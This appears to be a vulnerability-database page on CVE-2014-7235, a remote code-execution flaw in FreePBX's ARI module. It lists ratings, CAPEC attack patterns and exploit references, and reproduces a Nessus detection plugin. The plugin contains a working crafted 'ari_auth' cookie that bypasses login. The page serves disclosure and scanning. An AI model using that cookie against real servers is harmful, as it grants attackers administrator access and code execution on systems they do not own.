Vulnerabilities > CVE-2014-7235 - Code Injection vulnerability in multiple products

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
freepbx
sangoma
CWE-94
critical
nessus
exploit available

Summary

htdocs_ari/includes/login.php in the ARI Framework module/Asterisk Recording Interface (ARI) in FreePBX before 2.9.0.9, 2.10.x, and 2.11 before 2.11.1.5 allows remote attackers to execute arbitrary code via the ari_auth cookie, related to the PHP unserialize function, as exploited in the wild in September 2014.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

descriptionFreepbx < 2.11.1.5 - Remote Code Execution. CVE-2014-7235. Webapps exploit for PHP platform
fileexploits/php/webapps/41005.txt
idEDB-ID:41005
last seen2017-01-10
modified2016-12-23
platformphp
port
published2016-12-23
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/41005/
titleFreepbx < 2.11.1.5 - Remote Code Execution
typewebapps

Nessus

NASL familyCGI abuses
NASL idFREEPBX_RECORDINGS_AUTH_BYPASS.NASL
descriptionThe version of FreePBX hosted on the remote web server is affected by an authentication bypass vulnerability in the FreePBX ARI Framework module / Asterisk Recording Interface (ARI). A remote, unauthenticated attacker can exploit this issue to gain full administrator access to the FreePBX server by using a crafted request via the
last seen2020-06-01
modified2020-06-02
plugin id81182
published2015-02-05
reporterThis script is Copyright (C) 2015-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/81182
titleFreePBX /recordings/index.php 'ari_auth' Cookie Authentication Bypass
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(81182);
  script_version("1.7");
  script_cvs_date("Date: 2018/11/28 22:47:41");

  script_cve_id("CVE-2014-7235");
  script_bugtraq_id(70188);

  script_name(english:"FreePBX /recordings/index.php 'ari_auth' Cookie Authentication Bypass");
  script_summary(english:"Attempts to bypass authentication.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP application that is affected by an
authentication bypass vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of FreePBX hosted on the remote web server is affected by
an authentication bypass vulnerability in the FreePBX ARI Framework
module / Asterisk Recording Interface (ARI). A remote, unauthenticated
attacker can exploit this issue to gain full administrator access to
the FreePBX server by using a crafted request via the 'ari_auth' HTTP
cookie. Consequently, the attacker can then execute arbitrary code on
the remote host.");
  # https://community.freepbx.org/t/critical-freepbx-rce-vulnerability-all-versions-cve-2014-7235/24536
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0fed603e");
  script_set_attribute(attribute:"see_also", value:"https://issues.freepbx.org/browse/FREEPBX-8070");
  script_set_attribute(attribute:"solution", value:"Refer to the referenced URL for vendor supplied instructions.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/09/30");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/09/30");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/02/05");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:freepbx:freepbx");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("freepbx_detect.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP", "installed_sw/FreePBX");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = 'FreePBX';
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port,qs:dir);

clear_cookiejar();

cookie = 'ari_auth=a%3A2%3A%7Bi%3A0%3Bs%3A88%3A%22xuyV19I%2F5g9VAzqkL3mCvvVuv7x8CegAVZt0EhCNdLXXZW9FAiEMbF3SHsK%2F0ULg28rMrRULamL%2FDXUdBjSc3Q%3D%3D%22%3Bi%3A1%3Bs%3A32%3A%229bbef5d712d6f9e052cdbf6eb32de6fe%22%3B%7D';

res = http_send_recv3(
  method       : "GET",
  item         : dir + "/recordings/index.php",
  port         : port,
  add_headers  : make_array('Cookie', cookie),
  exit_on_fail : TRUE
);

if (">Logout<" >< res[2] && ">Feature Codes<" >< res[2])
{
  output = strstr(res[2], "<div id='nav_menu'");
  if (empty_or_null(output)) output = res[2];

  security_report_v4(
    port        : port,
    severity    : SECURITY_HOLE,
    generic     : TRUE,
    request     : make_list(http_last_sent_request()),
    output      : chomp(output)
  );
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/140414/freepbx21115-exec.txt
idPACKETSTORM:140414
last seen2017-01-11
published2017-01-09
reporterinj3ctor3
sourcehttps://packetstormsecurity.com/files/140414/FreePBX-Remote-Code-Execution.html
titleFreePBX Remote Code Execution